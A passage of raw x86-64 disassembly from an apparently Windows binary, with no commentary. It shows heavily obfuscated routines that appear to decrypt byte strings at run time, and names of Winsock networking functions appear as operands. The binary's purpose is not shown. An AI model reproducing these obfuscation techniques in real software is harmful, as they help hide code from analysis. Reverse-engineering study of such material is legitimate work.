lea edi, [r9 + r10]
sub dil, 0x42
jmp 0x140086370
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140086c83
sub r10b, 0x74
movzx eax, r10b
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140086353
sub r10b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
dec r11
inc r11
jmp 0x140086353
lea edx, [r10 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1c
jmp 0x140086cf3
add r10b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086d3a
add r10b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x140086d3d
lea edx, [r10 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140086d6f
sub r10b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086d9c
add r10b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x6f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140086353
sub r10b, 0x3a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6a
mov byte [rbp + r11 + 0x6f0], dil
inc r11
jmp 0x140086353
lea edx, [r10 + 2]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xe
add dil, dl
cmp r8, 2
jb 0x1400867b6
lea edx, [r10 + 0xc]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140086c83
lea edx, [r10 + 0x3e]
movzx eax, r9b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 0x40
jae 0x140086bc6
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x140086b05
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400867dd
lea edx, [r10 + 0x7a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x140086be1
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x140086ab2
lea edx, [r10 - 0x26]
movzx eax, r9b
and al, dl
mov ecx, 5
jmp 0x140086815
add r10b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x6f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140086353
add r10b, 0x78
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x48
add dil, r10b
jmp 0x140086d9c
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140086d6f
sub r10b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086d3d
add r10b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
jmp 0x140086d3a
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140086cf3
sub r10b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
dec r11
inc r11
jmp 0x140086353
sub r10b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x140086353
lea edx, [r10 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140086c80
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x1400869f1
lea edx, [r10 - 0x1e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2e
jmp 0x140086867
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140086a30
add r10b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x6f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140086353
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140086a5d
sub r10b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086d9c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140086a89
lea edx, [r10 - 0x64]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x44
add dil, dl
jmp 0x140086d6f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008686a
lea edx, [r10 - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x58
jmp 0x140086cf3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140086adb
lea edx, [r10 - 0x62]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x52
jmp 0x140086c80
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140086820
add r10b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
jmp 0x140086d3d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140086b41
add r10b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0x6f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140086353
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140086b6d
lea edx, [r10 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140086d6f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140086b9a
add r10b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086d3a
cmp rbx, rcx
jne 0x1400867e0
sub r10b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
dec r11
inc r11
jmp 0x140086353
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
jmp 0x140086cf3
lea edx, [r10 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, r9b
sub dil, 0xc
add dil, dl
jmp 0x140086d6f
add r10b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086d3d
add r10b, 0x5e
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086d3a
sub r10b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140086353
lea edx, [r10 + 0x4e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x22
add dil, dl
sub r10b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x6f0], cl
inc r8
dec r11
inc r11
jmp 0x140086353
lea edx, [r11 + 0x3e]
movzx eax, r9b
and al, dl
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r11
inc r11
jmp 0x140086353
movzx r10d, r11b
lea edx, [r10 + 0x7a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
add dil, dl
sub r10b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x6f0], cl
jmp 0x140086d3a
lea edx, [r11 - 0x4a]
movzx eax, dl
and al, r9b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140086353
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r9 + rax]
sub dil, 0x42
movzx r10d, r11b
add r10b, 0x76
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x3a
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x6f0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x58]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x68
add r9b, cl
mov byte [rbp + r11 + 0x6f0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x6f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140086353
lea rax, [r11 + r15]
and sil, al
mov ecx, 0x3b
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r9b
movzx eax, byte [rbp + r11 + 0x6f0]
add rax, r8
add r11, rax
inc r11
jmp 0x140086353
add r10b, 0x6a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086350
sub r10b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140086340
lea rcx, [rbp + 0x14ba6c8]
jmp 0x140086e6f
lea rcx, [rbp + 0xf0edaa]
jmp 0x140086e6f
lea rcx, [rbp + 0x6f0]
lea rdx, [0x1401feb87]
call fcn.140039a40
mov byte [rbp + 0x400], 0x21
mov byte [rbp + 0x401], 7
mov byte [rbp + 0x402], 0x1b
mov byte [rbp + 0x403], 0x19
mov byte [rbp + 0x404], 6
mov byte [rbp + 0x405], 0x1a
mov byte [rbp + 0x406], 0x5c
mov byte [rbp + 0x407], 0x2f
mov byte [rbp + 0x408], 2
mov byte [rbp + 0x409], reloc.WS2_32.dll_select
mov byte [rbp + 0x40a], 4
mov byte [rbp + 0x40b], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x40c], 3
mov byte [rbp + 0x40d], 7
mov byte [rbp + 0x40e], recvfrom
mov byte [rbp + 0x40f], 0x77
xor eax, eax
mov qword [rbp + 0x410], rax
mov dword [rbp + 0x418], eax
movabs rsi, 0x84e792bd29da276f
movabs r14, 0xac2428a678ab62e7
movabs r12, 0xa255032c24f71409
movabs r15, 0x8eb6b8377d8e764d
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x1c
jae 0x140087af5
movzx r10d, byte [rbp + r11 + 0x400]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140087ae9
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140086f93
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 9
jmp 0x140086fcd
je 0x140087a7a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400879f0
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400879c5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008797d
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140087958
movzx r9d, r11b
cmp r8, r11
ja 0x140087add
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x140087002
lea ecx, [r9 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
jmp 0x140087043
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140087911
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400878ee
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400878ce
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400878b1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140087892
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400875a8
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140087589
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140087560
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008753d
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140087522
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140087502
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400874e5
lea rcx, [r8 + 1]
cmp rbx, rcx
je 0x1400874ca
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400874ad
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008747e
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140087050
mov rbx, rcx
lea r8, [rcx + 3]
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x140087ac0
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x140087aa3
lea rax, [r8 + 0x64]
cmp rcx, rax
jb 0x140087233
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x140087218
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x1400871fd
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x140087435
lea rcx, [r8 + 0x200]
cmp rbx, rcx
jb 0x1400873e9
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400873af
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140087387
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140087050
mov rbx, rcx
lea r8, [rcx + 0x400]
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140087358
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x14008733b
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140087320
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x140087300
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x1400872dd
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x1400872be
lea rcx, [r8 + 9]
cmp rbx, rcx
ja 0x140087298
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008726f
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140087250
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140087050
mov rbx, rcx
lea r8, [rcx + 0x10]
jmp 0x140087050
lea ecx, [r9 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
jmp 0x140087043
lea ecx, [r9 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
jmp 0x140086fd1
sub r9b, 0x77
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x41
jmp 0x140086f60
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008792b
sub r9b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140086f43
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140086f43
lea edx, [r9 + 0x3e]
movzx eax, dl
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008799b
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x1400879d7
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400879d7
lea ecx, [r9 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7c
jmp 0x140087a06
sub r9b, 0x3a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6a
jmp 0x140087a33
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
movzx eax, byte [rbp + r11 + 0x400]
add rax, r8
add r11, rax
inc r11
jmp 0x140086f43
sub r9b, 0x43
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2b
mov byte [rbp + r11 + 0x400], dil
inc r11
jmp 0x140086f43
lea ecx, [r9 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
cmp r8, 0x61
jb 0x14008739f
lea ecx, [r9 + 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x2c]
jmp 0x14008792b
lea ecx, [r9 + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 7
cmp rbx, 5
jae 0x14008785b
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14008779f
lea edx, [r9 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400873c5
lea ecx, [r9 + 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xb
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x140087876
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14008768c
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
jmp 0x1400873ff
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
movzx eax, byte [rbp + r11 + 0x400]
add rax, r8
add r11, rax
inc r11
jmp 0x140086f43
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
jmp 0x140087a33
lea ecx, [r9 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
jmp 0x140087a06
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x1400879d7
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
add rbx, r8
jmp 0x1400879d7
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14008799b
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
dec r11
inc r11
jmp 0x140086f43
sub r9b, 0x70
movzx eax, r9b
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140086f43
lea edx, [r9 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008792b
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x1400875d0
lea ecx, [r9 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
jmp 0x14008744b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008760c
add r9b, 0x36
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7a
movzx eax, byte [rbp + r11 + 0x400]
add rax, r8
add r11, rax
inc r11
jmp 0x140086f43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140087638
lea edx, [r9 - 0xe]
movzx eax, dl
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140087a06
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140087664
lea edx, [r9 - 0x74]
movzx eax, dl
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14008799b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008744b
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x14008792b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400876b4
lea ecx, [r9 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x37
jmp 0x14008792b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400876e7
add r9b, 0x2f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x49
inc r8
dec r11
inc r11
jmp 0x140086f43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008770f
lea ecx, [r9 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
jmp 0x14008799b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140087739
sub r9b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6f
jmp 0x1400879d7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140087763
add r9b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4b
jmp 0x140087a33
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400873ff
add r9b, 0x41
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x39
movzx eax, byte [rbp + r11 + 0x400]
add rax, r8
add r11, rax
inc r11
jmp 0x140086f43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400877de
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x400]
add rax, r8
add r11, rax
inc r11
jmp 0x140086f43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140087806
lea ecx, [r9 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x140087a06
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140087833
sub r9b, 0x1c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3c
add rbx, r8
jmp 0x1400879d7
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400873c5
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4e
jmp 0x14008799b
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x2c
lea edi, [rcx + rcx]
jmp 0x140087998
lea edx, [r9 - 0xa]
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140087a06
lea edx, [r9 + 0x2d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3b
add dil, dl
jmp 0x140087a06
add r9b, 0x4f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x29
jmp 0x1400879d7
add r9b, 0x71
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x17
add rbx, r8
jmp 0x1400879d7
sub r9b, 0x4b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0xd
dec r11
inc r11
jmp 0x140086f43
lea edx, [r9 - 7]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x31
add dil, dl
sub r9b, 0x57
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x61
add r10b, r9b
mov byte [rbp + r11 + 0x400], r10b
inc r8
dec r11
inc r11
jmp 0x140086f43
lea ecx, [r11 + 0x5f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x67
inc r8
dec r11
inc r11
jmp 0x140086f43
movzx r9d, r11b
lea edx, [r9 - 0x5d]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x75
add dil, dl
sub r9b, 0x79
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x4f
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x400], r10b
add rbx, r8
jmp 0x1400879d7
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x51
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140086f43
lea rax, [r11 + r12]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x3f
movzx r9d, r11b
add r9b, 0x65
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x3d
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x400], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x400], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x400]
add rax, r8
add r11, rax
inc r11
jmp 0x140086f43
lea rax, [r11 + r15]
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
sub dil, 0x1b
movzx eax, byte [rbp + r11 + 0x400]
add rax, r8
add r11, rax
inc r11
jmp 0x140086f43
sub r9b, 0x55
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x53
jmp 0x140086f40
sub r9b, 0x33
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x65
jmp 0x140086f27
lea rcx, [rbp + 0x1528294]
jmp 0x140087afc
lea rcx, [rbp + 0xacaa03]
jmp 0x140087afc
lea rcx, [rbp + 0x400]
lea rdx, [0x1401feb89]
call fcn.140039a40
mov byte [rbp + 0xc0], 0xad
mov byte [rbp + 0xc1], 0xc7
mov byte [rbp + 0xc2], 0xb3
mov byte [rbp + 0xc3], 0xad
mov byte [rbp + 0xc4], 0xd6
mov byte [rbp + 0xc5], 0xd2
mov byte [rbp + 0xc6], 0x68
mov byte [rbp + 0xc7], 0xa4
mov byte [rbp + 0xc8], 0xdb
mov byte [rbp + 0xc9], 0xd6
mov byte [rbp + 0xca], 0xda
mov byte [rbp + 0xcb], 0xd1
mov byte [rbp + 0xcc], 0xa5
mov byte [rbp + 0xcd], 0xd2
mov byte [rbp + 0xce], 0xdb
mov byte [rbp + 0xcf], 0x47
movabs rsi, 0x95572bf680df6227
movabs r13, 0x871d0ea7804a760d
movabs r14, 0xa391494581744e41
movzx edi, byte [rsp + 0x50]
nop dword [rax + rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r12d, r12d
cmp r12, 0x10
jae 0x140088609
movzx r10d, byte [rbp + r12 + 0xc0]
mov r11d, r10d
nop dword [rax]
cmp rbx, r12
ja 0x1400885fd
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140087c03
lea rcx, [r12 + r13]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
